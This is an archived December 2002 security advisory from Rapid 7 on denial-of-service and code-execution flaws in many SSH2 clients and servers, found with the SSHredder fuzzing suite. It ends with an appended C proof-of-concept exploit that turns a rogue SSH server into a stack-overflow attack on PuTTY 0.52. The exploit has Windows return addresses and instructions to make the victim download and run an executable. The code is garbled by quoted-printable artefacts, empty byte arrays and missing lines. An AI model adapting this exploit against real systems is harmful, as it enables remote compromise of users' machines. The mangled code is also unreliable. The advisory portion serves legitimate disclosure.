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Vulnerabilities in SSH2 Implementations from Multiple Vendors
17th Dec 2002 [SBWID-5880]

	Vulnerabilities in SSH2 Implementations from Multiple Vendors


	    o F-Secure Corp. SSH servers and clients for UNIX
	       v3.1.0 (build 11) and earlier
	    o F-Secure Corp. SSH for Windows
	       v5.2 and earlier
	    o SSH Communications Security, Inc. SSH for Windows
	       v3.2.2 and earlier
	    o SSH Communications Security, Inc. SSH for UNIX
	       v3.2.2 and earlier
	    o FiSSH SSH client for Windows
	       v1.0A and earlier
	    o InterSoft Int'l, Inc. SecureNetTerm client for Windows
	       v5.4.1 and earlier
	    o NetComposite ShellGuard SSH client for Windows
	       v3.4.6 and earlier
	    o Pragma Systems, Inc. SecureShell SSH server for Windows
	       v2 and earlier
	    o PuTTY SSH client for Windows
	       v0.53 and earlier (v0.53b not affected)
	    o WinSCP SCP client for Windows
	       v2.0.0 and earlier
	    o BitVise WinSSHD server for Windows v3.05
	    o LSH v1.5
	    o OpenSSH v3.5 and earlier
	    o TTSSH SSH Extension for TeraTerm Pro
	    o VanDyke SecureCRT client v3.4.3 for Windows
	    o VanDyke VShell server v1.2 for Windows
	    o MacSSH
	    o SSHv1 implementations (see {1})
	    o SSHv2 enabled network appliances


	                     Rapid 7, Inc. Security Advisory
	        Visit http://www.rapid7.com/ to download NeXpose(tm), our
	         advanced vulnerability scanner. Linux and Windows 2000
	                       versions are available now!
	Rapid 7 Advisory R7-0009
	Vulnerabilities in SSH2 Implementations from Multiple Vendors
	   Published:  December 16, 2002
	   Revision:   1.0
	   CERT:       CA-2002-36
	   CVE:        Multiple CVE CANs assigned:
	               o CAN-2002-1357 (incorrect length)
	               o CAN-2002-1358 (lists with empty elements/empty strings)
	               o CAN-2002-1359 (large packets and large fields)
	               o CAN-2002-1360 (string fields with zeros)
	SSH servers and clients from  several  vendors  contain  vulnerabilities
	that  may  allow  denial-of-service  attacks   and/or   arbitrary   code
	execution. The vulnerabilities arise from various  deficiencies  in  the
	greeting and key-exchange-initialization phases of the  SSHv2  transport
	 Detailed analysis
	To  study  the  correctness  and  security  of  SSH  server  and  client
	implementations {2}, the security research team at  Rapid  7,  Inc.  has
	designed the SSHredder SSH protocol test suite  containing  hundreds  of
	sample SSH packets. These invalid and/or atypical SSH packets  focus  on
	the greeting and KEXINIT (key exchange  initialization)  phases  of  SSH
	We then applied the SSHredder suite to  some  popular  SSH  servers  and
	clients, observing  their  behavior  when  presented  with  a  range  of
	different input. Several implementation errors were discovered, most  of
	which involve memory access violations. While the  impact  is  different
	for each product tested, some of these errors were  easily  exploitable,
	allowing the attacker to overwrite  the  stack  pointer  with  arbitrary
	In most cases, only the most current versions of the  applications  were
	tested. Vendors listed as "Apparently NOT VULNERABLE" are encouraged  to
	run the tests against older versions of their applications.
	The SSHredder test suite is now available for download  from  Rapid  7's
	web site ( http://www.rapid7.com ). A pre-release version  of  SSHredder
	was provided to SSH vendors for  testing  prior  to  public  disclosure.
	SSHredder has been released under the BSD license.
	The test cases combine  several  test  groups  of  similarly  structured
	      o Invalid and/or incorrect SSH packet lengths (including
	        zero, very small positive, very large positive, and
	      o Invalid and/or incorrect string lengths.  These were applied
	        to the greeting line(s), plus all the SSH strings in the
	        KEXINIT packets).
	      o Invalid and/or incorrect SSH padding and padding lengths.
	      o Invalid and/or incorrect strings, including embedded ASCII
	        NULs, embedded percent format specifiers, very short, and
	        very long strings.  This test group was applied to the
	        greeting line(s), plus all the SSH strings in the KEXINIT
	      o Invalid algorithm lists.  In addition to the existing string
	        tests, invalid encryption, compression, and MAC algorithm names
	        were used, including invalid algorithm domain qualifiers;
	        invalid algorithm lists were created by manipulating the
	        separating commas.
	The individual tests in  each  group  were  combined  systematically  to
	produce a test suite of 666 packets. A full permutation  of  every  test
	in each test group would have yielded a test suite that is too large  to
	distribute, so a representative sample of packets was chosen  from  each
	Please note that greeting and KEXINIT are  only  the  first  and  second
	phases of SSH connections. A full test  suite  for  every  SSH  protocol
	message could potentially reveal other latent vulnerabilities.
	   [1] While SSHv1 has no KEXINIT phase, many of these test cases
	       could affect both SSHv1 and SSHv2 in a generic way).  SSHv1
	       implementations were not tested.
	   [2] The SSH protocol is described in several IETF drafts, which can be
	       found at http://www.ietf.org/ids.by.wg/secsh.html .
	 Update (02 January 2003)
	PUTTY SSH-Client Exploit by  Rand  &  Dani  at  IProyectos  Division
	Seguridad [www.iproyectos.com] :
	 * Putty v0.52 and minor exploit
	 * by Rand & Dani at IProyectos Division Seguridad ( www.iproyectos.com =
	 * Contact: seguridad@iproyectos.com
	 * Tested on linux and cygwin against putty 0.52 running on WinXP
	 * and Win2000.
	 * Instructions:
	 * * Define WINXP to use against WinXP, otherwise Win2K offset will be =
	 * * Change URL in the shellcode to an exe of your chose. That will
	 *   be executed upon exploitation.
	 * * If you want to do multiple tests do:
	 *   while true ; do ./a.out ; done
	 *   ...or if you want a functional daemon rewrite the code to fork.
	 * Contents:
	 * This is a proof of concept on the security advisory by I-Defense =
	 * multiple vendors ssh clients possible buffer overflows.
	 * The shellcode was borrowed from undersec.net.
	 * The problem:
	 * A validation error on SSH.C lets client to server cipher smash
	 * the stack, compromising code execution flow.
	 * Solution:
	 * Upgrade your SSH clients.
	 * Acknowledge to Carles for assistence with coding and to
	 * nurx2 and zon for testing.
	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <unistd.h>
	#include <netinet/in.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#define PORT 22
	#define QUEUE 8
	/* Define for Win XP, leave undefined for Win2k  */
	#define WIN_XP
	main(int argc, char **argv)
	  char pdu_head[] =3D =
	#ifdef WIN_XP
	  char  ret[] =3D "\x70\x35\x52\x77";
	  char  ret[] =3D "\x56\x9A\x3C\x78";
	  char junk[] =3D "\x00\x00\x07\xDE";
	  char shell[] =3D
	  int             sockfd, clientfd;
	  struct sockaddr_in server, client;
	  int             len =3D sizeof(client);
	  int		  cont, cont_comas;
	  char            buf[20243]; =20
	  /* We create the malformed packet */
	  memset(buf, 0x61, sizeof(buf));
	  for(cont=3D125;cont<sizeof(buf);cont+=3D65) {
		if(cont_comas>30) {
			memcpy(buf + cont, junk, sizeof(junk)-1);		=09
		} else buf[cont]=3D0x2c;
	  memcpy(buf, pdu_head, 61);
	  memcpy(buf + 0x1098, ret ,4);
	  memcpy(buf + 0x109c, shell, sizeof(shell));
	  /* We listen on port PORT */
	  if ((sockfd =3D socket(AF_INET, SOCK_STREAM, 0)) =3D=3D -1) {
	  bzero(&server, sizeof(server));
	  server.sin_family =3D AF_INET;
	  server.sin_addr.s_addr =3D htonl(INADDR_ANY);
	  server.sin_port =3D htons(PORT);
	  if (bind(sockfd, (struct sockaddr *) & server,
		           sizeof(server)) =3D=3D -1) {
	  listen(sockfd, QUEUE);
	  if ((clientfd =3D accept
		        (struct sockaddr *) & client, &len)) =3D=3D -1) {
	  /* We send the junk and exploit */
	  /* This will fix local connections closing too fast */
	  return 0;
	  /* Greets to the people at #vemo. Dedicated to the monster under my =
	bed. */


	Vendor status and information
	   F-Secure Corporation
	      Vendor has been notified.  Release information is unknown at
	      this time.  F-Secure has characterized this issue as not
	      Vendor has been notified.  Release information is unknown at
	      this time.
	   NetComposite (ShellGuard)
	      Vendor has been notified.  Release information is unknown at
	      this time.
	   Pragma Systems, Inc.
	      Vendor has been notified.  The fixed version is SecureShell
	      v3.0, which was released on November 25 2002.
	      Vendor has been notified.  The fixed version is PuTTY v0.53b,
	      which was released on November 12, 2002.
	   SSH Communications Security, Inc.
	      Vendor has been notified.  Release information is unknown at
	      this time.  SSH, Inc. has characterized this issue as not
	   SecureNetTerm (InterSoft International, Inc.)
	      Vendor notified.  The fixed version is SecureNetTerm v5.4.2,
	      released on November 14 2002.
	      Vendor has been notified.  Release information is unknown at
	      this time.
	No solutions available yet.
	Contact Information
	   Rapid 7 Security Advisories
	   Email:   advisory@rapid7.com
	   Web:     http://www.rapid7.com/
	   Phone:   +1 (212) 558-8700
	Disclaimer and Copyright
	   Rapid 7, Inc. is not responsible for the misuse of the information
	   provided in our security advisories. These advisories are a service
	   to the professional security community.  There are NO WARRANTIES
	   with regard to this information. Any application or distribution of
	   this information constitutes acceptance AS IS, at the user's own
	   risk.  This information is subject to change without notice.
	   This advisory Copyright (C) 2002 Rapid 7, Inc.  Permission is
	   hereby granted to redistribute this advisory, providing that no
	   changes are made and that the copyright notices and disclaimers
	   remain intact.
	Version: GnuPG v1.0.7 (OpenBSD)
	Rapid 7 Security Research Team
	Email: advisory@rapid7.com
	Web: http://www.rapid7.com/
	Phone: +1 (212) 558-8700
	PGP: http://www.rapid7.com/advisories/R7-PKey2002.txt

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